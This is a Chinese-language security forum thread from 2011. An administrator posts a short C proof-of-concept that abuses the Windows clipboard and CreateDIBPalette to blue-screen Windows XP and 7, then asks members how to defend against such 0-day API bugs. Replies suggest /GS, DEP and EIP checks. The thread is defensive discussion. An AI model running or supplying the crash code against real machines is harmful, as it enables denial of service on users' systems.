找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 6691|回复: 2

如何防御未知的0DAY漏洞?(视回答的有效程度给予不同级别的奖励)

 火.. [复制链接]

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-4-7 17:41:08 | 显示全部楼层 |阅读模式
我把0DAY漏洞的范围缩小,仅指“通过调用有bug的WIN32API导致系统崩溃或者获得更高权限”的漏洞。
比如:CreateDIBPalette函数本地权限提升漏洞。

  1. #include <windows.h>
  2. int main()
  3. {
  4.     DEVMODE dm = {0};
  5.     dm.dmSize = sizeof(DEVMODE);
  6.     dm.dmBitsPerPel = 8;
  7.     dm.dmPelsWidth = 800;
  8.     dm.dmPelsHeight = 600;
  9.     dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
  10.     ChangeDisplaySettings(&dm, 0);
  11.     BITMAPINFOHEADER bmih = {0};
  12.     bmih.biClrUsed = 0x200;//超过256
  13.     HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
  14.     memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
  15.     GlobalUnlock(h);
  16.     ::OpenClipboard(NULL);
  17.     ::SetClipboardData(17, (HANDLE)h);
  18.     ::CloseClipboard();
  19.     ::OpenClipboard(NULL);
  20.     ::GetClipboardData(CF_PALETTE);
  21.     return 0;
  22. }
复制代码
经本人测试,调用以上代码,可以导致Win XP X86、Win 7 x86、Win 7 x64蓝屏。

大家说说如何防御呢?


奖励措施:
1.视回答的有效程度和可实施程度加20~100水晶币。
2.回答特别有用者,加100水晶币,并将其用户组改为【核心会员】。

47

主题

265

回帖

8

精华

核心会员

积分
10349
发表于 2011-4-7 22:47:38 | 显示全部楼层
\GS编译选项
卡巴已经可以防栈溢出了
DEP
数据区域不可执行代码。
检测EIP,看是否是在.text段中~

评分

参与人数 1水晶币 +40 收起 理由
Tesla.Angela + 40

查看全部评分

275

主题

3017

回帖

1

精华

管理员

嗷嗷叫的老马

积分
17064

论坛牛人贡献奖关注奖最佳版主进步奖人气王疯狂作品奖精英奖赞助论坛勋章乐于助人勋章

QQ
发表于 2011-4-8 08:38:04 | 显示全部楼层
sb666 发表于 2011-4-7 18:28
回复 Tesla.Angela 的帖子

我稍稍说一下通用的方法


这些都是办法,不过如果这些调用在关卡上,效率就非常重要了

以前WIN98很不安全是吧?但运行效率那可是钢钢的.

拿现在运行XP或WIN7很流畅的机器来装个WIN98看看?不飞到天上去,哈哈.
我就是嗷嗷叫的老马了......

您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表